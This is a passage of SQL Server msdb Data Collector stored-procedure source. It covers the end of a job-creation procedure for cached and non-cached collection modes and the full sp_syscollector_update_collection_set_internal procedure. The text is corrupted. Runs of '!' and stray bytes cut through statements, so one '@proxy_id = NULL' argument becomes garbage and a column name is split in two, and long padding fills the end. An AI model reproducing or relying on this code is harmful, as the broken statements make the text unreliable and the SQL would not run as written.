    -- add jobs, job steps and attach schedule separately for different modes
    IF (@collection_mode = 1)    -- non-cached mode
    BEGIN
        -- create 1 job and 2 steps, first for collection & upload, second for log purging
        SET @job_name = N'collection_set_' + @collection_set_id_as_char + '_noncached_collect_and_upload'
        SET @collection_step_name = @job_name + '_collect'
        SET @upload_step_name = @job_name + '_upload'
        SET @purge_step_name = @job_name + '_purge_logs'
        SET @description = N'Data Collector job for collection set ' + QUOTENAME(@collection_set_name)

        -- add agent job and job server
        EXEC dbo.sp_add_job 
            @job_name        = @job_name,
            @category_id    = 8, -- N'Data Collector'
            @enabled        = 0,
            @description    = @description,
            @job_id            = @job_id OUTPUT
        
        EXEC dbo.sp_add_jobserver
            @job_id            = @job_id,
            @server_name    = N'(local)'

        -- add both collect and upload job steps to the same job
        EXEC dbo.sp_add_jobstep
            @job_id                = @job_id,
            @step_name            = @collection_step_name,
            @subsystem            = 'CMDEXEC',
            @command            = @collection_step_command,
            @on_success_action    =  3,        -- go to the next job step (purge the log)
            @on_fail_action        =  2,        -- quit with failure
            @proxy_id            = @proxy_id,
            @flags              = 16        -- Write log to table (append to existing history)

        EXEC dbo.sp_add_jobstep
            @job_id                = @job_id,
            @step_name            = @purge_step_name,
            @subsystem            = 'TSQL',
            @database_name        = 'msdb',
            @command            = @purge_step_command,
            @on_success_action    =  3,        -- go to the next job step (upload)
            @on_fail_action        =  3,        -- go to the next job step (upload)
            @proxy_id            = NULL,
            @flags                = 16        -- write log to table (append to existing history)

        EXEC dbo.sp_add_jobstep
            @job_id                = @job_id,
            @step_name            = @upload_step_name,
            @subsystem            = 'CMDEXEC',
            @command            = @upload_step_command,
            @on_success_action    =  1,        -- quit with success
            @on_fail_action        =  2,        -- quit with failure
            @proxy_id            = @proxy_id,
            @flags              = 16        -- Write log to table (append to existing history)

        IF @schedule_id IS NOT NULL
        BEGIN
            -- attach the schedule
            EXEC dbo.sp_attach_schedule
                @job_id            = @job_id,
                @schedule_id    = @schedule_id
        END

        SET @upload_job_id = @job_id
        SET @collection_job_id = @job_id
    END

    IF (@collection_mode = 0) -- cached mode
    BEGIN
        -- create 2 jobs for collect and upload
        -- add to collect job an extra step that autostops collection called in case collect job fails
        DECLARE @upload_job_name        sysname
        DECLARE @collection_job_name    sysname
        SET @upload_job_name = N'collection_set_' + @collection_set_id_as_char + '_upload'
        SET @collection_job_name = N'collection_set_' + @collection_set_id_as_char + '_collection'

        SET @collection_step_name = @collection_job_name + '_collect'
        SET @autostop_step_name = @collection_job_name + '_autostop'
        SET @upload_step_name = @upload_job_name + '_upload'
        SET @purge_step_name = @upload_job_name + '_purge_logs'

        -- modify the collection step to pass in the stop event name passed in by agent
        SET @collection_step_command = @collection_step_command + N' -e $' + N'(ESCAPE_NONE(' + N'STOPEVENT))'

        -- add agent job and job server
        EXEC dbo.sp_add_job 
            @job_name        = @upload_job_name,
            @category_id    = 8, -- N'Data Collector'
            @enabled        = 0,
            @job_id            = @upload_job_id OUTPUT
        
        EXEC dbo.sp_add_jobserver
            @job_id            = @upload_job_id,
            @server_name    = N'(local)'

        EXEC dbo.sp_add_job 
            @job_name        = @collection_job_name,
            @category_id    = 8, -- N'Data Collector'
            @enabled        = 0,
            @job_id            = @collection_job_id OUTPUT

        EXEC dbo.sp_add_jobserver
            @job_id            = @collection_job_id,
            @server_name    = N'(local)'

        -- add upload job step to upload job and collection job
        -- step to collection job separately
        EXEC dbo.sp_add_jobstep
            @job_id                = @upload_job_id,
            @step_name            = @purge_step_name,
            @subsystem            = 'TSQL',
            @database_name        = 'msdb',
            @command            = @purge_step_command,
            @on_success_action    =  3,        -- go to next job step (upload)
            @on_fail_action        =  3,        -- go to next job step (upload)
            @proxy_id            = NUL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
/0~	jL,
            @flags                = 16        -- write log to table (append to existing history)

        EXEC dbo.sp_add_jobstep
            @job_id                = @upload_job_id,
            @step_name            = @upload_step_name,
            @subsystem            = 'CMDEXEC',
            @command            = @upload_step_command,
            @on_success_action    =  1,        -- quit with success
            @on_fail_action        =  2,        -- quit with failure
            @proxy_id            = @proxy_id

        EXEC dbo.sp_add_jobstep
            @job_id                = @collection_job_id,
            @step_name            = @collection_step_name,
            @subsystem            = 'CMDEXEC',
            @command            = @collection_step_command,
            @on_success_action    =  1,        -- quit with success
            @on_fail_action        =  3,        -- go to next job step (auto-stop)
            @proxy_id            = @proxy_id,
            @flags              = 80 -- 16 (write log to table (append to existing history) 
                                     -- + 64 (create a stop event and pass it to the command line)

        EXEC dbo.sp_add_jobstep
            @job_id                = @collection_job_id,
            @step_name            = @autostop_step_name,
            @subsystem            = 'TSQL',
            @database_name        = 'msdb',
            @command            = @autostop_step_command,
            @on_success_action    =  2,        -- quit with failure
            @on_fail_action        =  2,        -- quit with failure
            @proxy_id            = NULL,
            @flags                = 16        -- write log to table (append to existing history)

        -- attach the input schedule to the upload job
        EXEC dbo.sp_attach_schedule
            @job_id            = @upload_job_id,
            @schedule_id    = @schedule_id

        -- attach the RunAsSQLAgentServiceStartSchedule to the collection job
        EXEC dbo.sp_attach_schedule
            @job_id            = @collection_job_id,
            @schedule_name    = N'RunAsSQLAgentServiceStartSchedule'
    END

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)

    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_syscollector_create_jobs

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/|vA?CREATE PROCEDURE [dbo].[sp_syscollector_update_collection_set_internal]
    @collection_set_id          int,
    @collection_set_uid         uniqueidentifier,
    @name                       sysname,
    @new_name                   sysname,
    @target                     nvarchar(128),
    @collection_mode            smallint,         
    @days_until_expiration      smallint,
    @proxy_id                   int,              
    @proxy_name                 sysname,          
    @schedule_uid               uniqueidentifier, 
    @schedule_name              sysname,          
    @logging_level              smallint,
    @description                nvarchar(4000),   
    @schedule_id                int,
    @old_collection_mode        smallint,
    @old_proxy_id               int,
    @old_collection_job_id      uniqueidentifier,
    @old_upload_job_id          uniqueidentifier    
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_update_collection_set
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY
        DECLARE @old_upload_schedule_id    int
        DECLARE @old_upload_schedule_uid uniqueidentifier

        SELECT  @old_upload_schedule_id = sv.schedule_id,
                @old_upload_schedule_uid = cs.schedule_uid
        FROM dbo.syscollector_collection_sets cs 
        JOIN sysschedules_localserver_view sv ON (cs.schedule_uid = sv.schedule_uid)
        WHERE collection_set_id = @collection_set_id

        -- update job names, schedule, and collection mode in a transaction to maintain a consistent state in case of failures
        IF (@collection_mode IS NOT NULL AND @collection_mode != @old_collection_mode)
        BEGIN
            IF (@schedule_id IS NULL)
            BEGIN
                -- if no schedules is supplied as a parameter to this update SP, 
                -- we can use the one that is already in the collection set table
                SET @schedule_uid = @old_upload_schedule_uid
                
                SELECT @schedule_id = schedule_id 
                FROM sysschedules_localserver_view 
                WHERE @schedule_uid = schedule_uid
            END

            IF (@schedule_name IS NOT NULL AND @schedule_name = N'')
            BEGIN
                SET @schedule_id = NULL 
            END

            -- make sure there exists a schedule we can use
            IF (@old_collection_mode = 1 AND @schedule_id IS NULL) -- a switch from non-cached to cached mode require a schedule
            BEGIN
                -- no schedules specified in input or collection set table, raise error
                RAISERROR(14683, -1, -1)
                RETURN (1)
            END

            -- Only update the jobs if we have jobs already created. Otherwise the right
            -- jobs will be created when the collection set starts for the first time.
            IF (@old_collection_job_id IS NOT NULL AND @old_upload_job_id IS NOT NULL)
            BEGIN
                -- create new jobs 
                DECLARE @collection_job_id        uniqueidentifier 
                DECLARE @upload_job_id            uniqueidentifier 

                DECLARE @collection_set_name sysname;
                SET @collection_set_name = ISNULL(@new_name, @name);
                EXEC [dbo].[sp_syscollector_create_jobs] 
                    @collection_set_id        = @collection_set_id,
                    @collection_set_uid     = @collection_set_uid,
                    @collection_set_name    = @collection_set_name,
                    @proxy_id                = @proxy_id,
                    @schedule_id            = @schedule_id,
                    @collection_mode        = @collection_mode,
                    @collection_job_id        = @collection_job_id OUTPUT,
                    @upload_job_id            = @upload_job_id OUTPUT

                UPDATE [dbo].[syscollector_collection_sets_internal]
                SET
                    upload_job_id        = @upload_job_id,
                    collection_job_id    = @collection_job_id
                WHERE @collection_set_id = collection_set_id
                
                -- drop old upload and collection jobs
                EXEC dbo.sp_syscollector_delete_jobs 
                    @collection_job_id        = @old_collection_job_id,
                    @upload_job_id            = @old_upload_job_id,
                    @schedule_id            = @old_upload_schedule_id,
                    @collection_mode        = @old_collection_mode
            END
        END
        ELSE -- collection mode unchanged, we do not have to recreate the jobs
        BEGIN
            -- we need to update the proxy id for all job steps
            IF (@old_proxy_id <> @proxy_id) OR (@old_proxy_id IS NULL AND @proxy_id IS NOT NULL)
            BEGIN
                IF (@old_collection_job_id IS NOT NULL)
                BEGIN
                    EXEC dbo.sp_syscollector_update_job_proxy
                        @job_id    = @old_collection_job_id, 
                        @proxy_id  = @proxy_id
                END

                IF (@old_upload_job_id IS NOT NULL)
                BEGIN
                    EXEC dbo.sp_syscollector_update_job_proxy
                        @job_id    = @old_upload_job_id, 
                        @proxy_id  = @proxy_id
                END
            END
            IF (@proxy_name = N'' AND @old_proxy_id IS NOT NULL) 
            BEGIN
                IF (@old_collection_job_id IS NOT NULL)
                BEGIN
                    EXEC dbo.sp_syscollector_update_job_proxy
                        @job_id    = @old_collection_job_id, 
                        @proxy_name = @proxy_name
                END

                IF (@old_upload_job_id IS NOT NULL)
                BEGIN
                    EXEC dbo.sp_syscollector_update_job_proxy
                        @job_id    = @old_upload_job_id, 
                        @proxy_name = @proxy_name
                END
            END

            -- need to update the schedule
            IF (@old_upload_schedule_id <> @schedule_id) OR (@old_upload_schedule_id IS NULL AND @schedule_id IS NOT NULL)
            BEGIN
                -- detach the old schedule 
                IF (@old_upload_job_id IS NOT NULL) AND (@old_upload_schedule_id IS NOT NULL)
                BEGIN
                    EXEC dbo.sp_detach_schedule 
                        @job_id            = @old_upload_job_id,
                        @schedule_id    = @old_upload_schedule_id,
                        @delete_unused_schedule = 0
                END

                -- attach the new schedule
                IF (@old_upload_job_id IS NOT NULL)
                BEGIN
                    EXEC dbo.sp_attach_schedule
                        @job_id            = @old_upload_job_id,
                        @schedule_id    = @schedule_id
                END
            END

            -- special case - remove the existing schedule
            IF (@schedule_name = N'') AND (@old_upload_schedule_id IS NOT NULL)
            BEGIN
                EXEC dbo.sp_detach_schedule 
                    @job_id            = @old_upload_job_id,
                    @schedule_id    = @old_upload_schedule_id,
                    @delete_unused_schedule = 0
            END
        END

        -- after the all operations succeed, update the sollection_sets table
        DECLARE @new_proxy_id int
        SET @new_proxy_id = @proxy_id
        IF (@proxy_name    = N'')    SET @new_proxy_id = NULL

        UPDATE [dbo].[syscollector_collection_sets_internal]
        SET
            name                    = ISNULL(@new_name, name),
            target                    = ISNULL(@target, target),
            proxy_id                = @new_proxy_id,
            collec!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<!/2xA?tion_mode            = ISNULL(@collection_mode, collection_mode),
            logging_level            = ISNULL(@logging_level, logging_level),
            days_until_expiration   = ISNULL(@days_until_expiration, days_until_expiration)
        WHERE @collection_set_id = collection_set_id

        IF (@schedule_uid IS NOT NULL OR @schedule_name IS NOT NULL)
        BEGIN
            IF (@schedule_name = N'')    SET @schedule_uid = NULL

            UPDATE [dbo].[syscollector_collection_sets_internal]
            SET schedule_uid = @schedule_uid
            WHERE @collection_set_id = collection_set_id
        END

        IF (@description IS NOT NULL)
        BEGIN
            IF (@description = N'')      SET @description = NULL

            UPDATE [dbo].[syscollector_collection_sets_internal]
            SET description = @description
            WHERE @collection_set_id = collection_set_id
        END

        IF (@TranCounter = 0)
        COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_update_collection_set

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!